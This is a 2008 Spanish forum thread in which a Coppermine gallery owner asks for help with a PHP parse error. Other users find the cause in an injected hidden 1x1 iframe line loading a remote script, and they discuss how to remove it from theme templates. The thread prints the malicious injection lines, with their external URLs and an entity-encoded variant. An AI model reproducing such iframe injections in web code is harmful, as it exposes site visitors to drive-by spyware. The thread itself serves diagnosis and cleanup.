Foros del Web

Foros del Web (http://www.forosdelweb.com/)
-   Sistemas de gestión de contenidos (http://www.forosdelweb.com/f54/)
-   -   ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected (http://www.forosdelweb.com/f54/ayudais-depurar-codigo-parse-error-syntax-error-unexpected-574432/)

Bolemc 10/04/2008 02:17

¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Hola, a ver si alguien puede ayudarme, funcionaba bien mi galeria de fotos de Copermine y de repente salio este error

Parse error: syntax error, unexpected '<' in /usr/export/www/vhosts/funnetwork/hosting/portalico/plugins/minicms/include/init.inc.php on line 73

Quizás sea que le falte cerrar alguna llave, os paso el codigo del script y a ver si le veis el fallo.
Gracias de antemano.

Código HTML:

<?php
/**************************************************
  CPG MiniCMS Plugin for Coppermine Photo Gallery
  *************************************************
  Copyright (c) 2005 Donovan Bray <[email protected]>

  *************************************************
  1.3.0  eXtended miniCMS
  Copyright (C) 2004 Michael Trojacher <[email protected]>
  Original miniCMS Code (c) 2004 by Tarique Sani <[email protected]>,
  Amit Badkas <[email protected]>
  *************************************************
  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.
  *************************************************
  Coppermine version: 1.4.2
  CPGMiniCMS version: 1.5
  $Source: /cvsroot/cpg-contrib/minicms/include/init.inc.php,v $
  $Revision: 1.15 $
  $Author: donnoman $
  $Date: 2005/08/07 16:01:26 $
***************************************************/

if (!defined('IN_COPPERMINE')) { die('Not in Coppermine...');}

define('MINICMS_DBVER','1.4.7');

// submit your lang file for this plugin on the coppermine forums
// plugin will try to use the configured language if it is available.

if (file_exists("plugins/minicms/lang/{$CONFIG['lang']}.php")) {
  require "plugins/minicms/lang/{$CONFIG['lang']}.php";
} else require 'plugins/minicms/lang/english.php';

$CONFIG['TABLE_CMS'] = $CONFIG['TABLE_PREFIX'] . "cms";
$CONFIG['TABLE_CMS_CONFIG'] = $CONFIG['TABLE_PREFIX'] . "cms_config";

$results=cpg_db_query("SHOW TABLES LIKE '{$CONFIG['TABLE_CMS_CONFIG']}'");
if (!$row=mysql_fetch_row($results)) minicms_configure(false);
mysql_free_result($results);

$results = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_CMS_CONFIG']}");
while ($row = mysql_fetch_array($results)) {
    $MINICMS[$row['name']] = $row['value'];
} // while
mysql_free_result($results);

$HTML_SUBST_DECODE = array_flip($HTML_SUBST); //used to reverse Coppermines init.inc.php gpc processing

$MINICMS['conType']=array('cat','thumb','img','section');
$MINICMS['conTypebyName']=array_flip($MINICMS['conType']);

if (defined('DISPLAYIMAGE_PHP')) {
    $MINICMS['type']=$MINICMS['conTypebyName']['img'];
} elseif (defined('THUMBNAILS_PHP')) {
    $MINICMS['conid']=isset($_REQUEST['album']) ? (int)$_REQUEST['album'] : -1;
    $MINICMS['type']=$MINICMS['conTypebyName']['thumb'];
} elseif (isset($_REQUEST['file']) && $_REQUEST['file'] =='minicms/cms') {
    if (isset($_REQUEST['id'])) {
        $MINICMS['ID']=(int)$_REQUEST['id'];
        $MINICMS['conid']='';
        $MINICMS['type']='';
    } else {
      $MINICMS['conid']=(int)$_REQUEST['conid'];
      $MINICMS['type']=(int)$_REQUEST['type'];
    }
} else {
    $MINICMS['conid']=isset($_REQUEST['cat']) ? (int)$_REQUEST['cat'] : 0;
    $MINICMS['type']=$MINICMS['conTypebyName']['cat'];
}

require 'plugins/minicms/include/themes.inc.php';<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>


DarkJ 10/04/2008 02:49

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
No, lo que sobra es el <?php de la ultima linea.

Bolemc 10/04/2008 03:59

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Gracias Dark por tu rapida respuesta, entonces sobra todo esto

Código HTML:

<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>
¿puedes copiarme el codigo arreglado? Mil gracias!!

Bolemc 10/04/2008 05:40

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Solucionado, gracias Dark.
Sabía que este sitio era el adecuado para resolver mi problema. :aplauso:

jcabanillas 12/04/2008 17:28

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Cuidado Bolemc!!!
esa línea de código: <?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>
No la escribió la aplicación cuando la instalaste.
Se trata de código malicioso que no tardará en detectar el todopoderoso Google.
Todas las personas que visiten tu sitio web recibirán un aviso (en el mejor de los casos) para instalar un componente ActiveX. Según la versión más o menos reciente que utilicen de Navegador, se podría instalar de manera transparente para los usuarios. Se trata de software espía.
A mí me acaba de ocurrir. Me he bajado toda la aplicación a desarrollo, y he podido comprobar que esta línea de código está por toda la aplicación. Como si de un troyano se tratara. Y no sólo en la aplicación (también utilizo esa misma galería de fotos), sino que está en otras páginas de mi sitio web que nada tienen que ver con esa aplicación. Sospecho que coppermine debe tener algún agujero de seguridad.
El código puedes encontrarlo también en formato Unicode

& # 104 ; & # 116 ; & # 116 ; & # 112 ; & # 58 ; & # 47 ; & # 47 ; & # 99 ; & # 100 ; & # 112 ; & # 117 ; & # 118 ; & # 98 ; & # 104 ; & # 102 ; & # 122 ; & # 122 ; & # 46 ; & # 99 ; & # 111 ; & # 109 ; & # 47 ; & # 100 ; & # 108 ; & # 47 ; & # 97 ; & # 100 ; & # 118 ; & # 53 ; & # 57 ; & # 56 ; & # 46 ; & # 112 ; & # 104 ; & # 112 ;

Si escribes esto en tu página se visualizará (sin los espacios, claro):
"http://cdpuvbhfzz.com/dl/adv598.php"

Esta página, contiene spyware.
Te recomiendo que revises toda la aplicacion Coppermine

Bolemc 14/04/2008 09:44

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Hola jcabanillas, me parecia raro ese codigo pero lo interpretaba mas bien como propio del alojamiento gratuito para la galeria.
¿que solución has tomado tu? miraré los codigos y miraré de suprimir ese iframe, lo malo es q tengo 2 galerias y el trabajo será el doble.
Gracias por el aviso ya me contarás.

GatorV 14/04/2008 11:51

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Tema trasladado a Aplicaciones Prefabricadas.

Vambasten9 23/04/2008 03:09

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Hola a Todos tengo el mismo problema, en el código fuente de mi coppermine. Me sale el siguiente codigo malicioso

<iframe src="http://ccfelomvhk.com/dl/adv542.php" height="1" width="1"></iframe>

Lo único no sé donde puedo eliminarlo. Mi theme es el ipodlounge. Podeis verlo en la siguiente dirección por si necesitáis más informaci'on

Google me tiene "fichado" y he perdido muchísimas posiciones en las búsquedas. Os agradecería vuestra ayuda.

Bolemc 23/04/2008 03:46

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Yo he optado por deshabilitar las galerias hasta encontrar la solución, veo que ese iframe está por todos lados, eliminarlo manualemente puede ser una odisea y actualizando seguiria quedando el codigo del iframe, y supongo que haciendo un backup se guardará codigo en el y en posteriores instalaciones saldria (digo yo)

Yo las 2 galerias que tengo afectadas estan en servidores gratuitos, luego tengo otra en mi propio servidor que parece no estar afectada de momento.

Vambasten9 ¿donde la tienes alojada tu?

Vambasten9 23/04/2008 04:41

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Yo la tengo alojada en un servidor de pago.

No sé si ellos podrán echarme una mano.

Una pregunta, exactamente ¿que tengo que buscar y donde para ir eliminando ese iframe?

Bolemc 23/04/2008 05:34

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Me temo que en todos los archivos está el iframe, incluso en algunos arriba y abajo, simplemente busca el iframe y borralo y vuelvelo a subir el archivo/os, un faenon para mi que tengo mas de mil fotos en cada galeria y si está en cada pagina imagina, no sé tu.

Bolemc 29/04/2008 09:51

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
Bueno pues tengo buenas noticias, he conseguido solucionar este asunto, al final no era tan "bestia" explico....

Entrar en administración e ir a Themes y coger el que tengáis en la galeria y entrar en la capeta, luego os descargais el archivo template.html y buscais el iframe, yo lo tenía abajo del todo, lo borré y ya no sale por ningún lado.
OJO a mi me creó un archivo zip, supongo con algo malicioso dentro, borrarlo y ya está, incluso ahora puedo configurar más la plantilla.
Un ejemplo
http://www.elportalico.com/fotos/

LCSolucionesWeb 30/04/2008 00:23

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
A mi me pasa lo mismo, pero en laadminitracion de Joomla 1.5.2, vere si en la plantilla de administracion esta el problema.

Bolemc 30/04/2008 01:42

Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected
 
La administración que debes mirar es la de Coperminne y más bien el servidor y buscar las carpetas que dije.


La zona horaria es GMT -6. Ahora son las 21:38.

Desarrollado por vBulletin® Versión 3.8.7
Derechos de Autor ©2000 - 2026, Jelsoft Enterprises Ltd.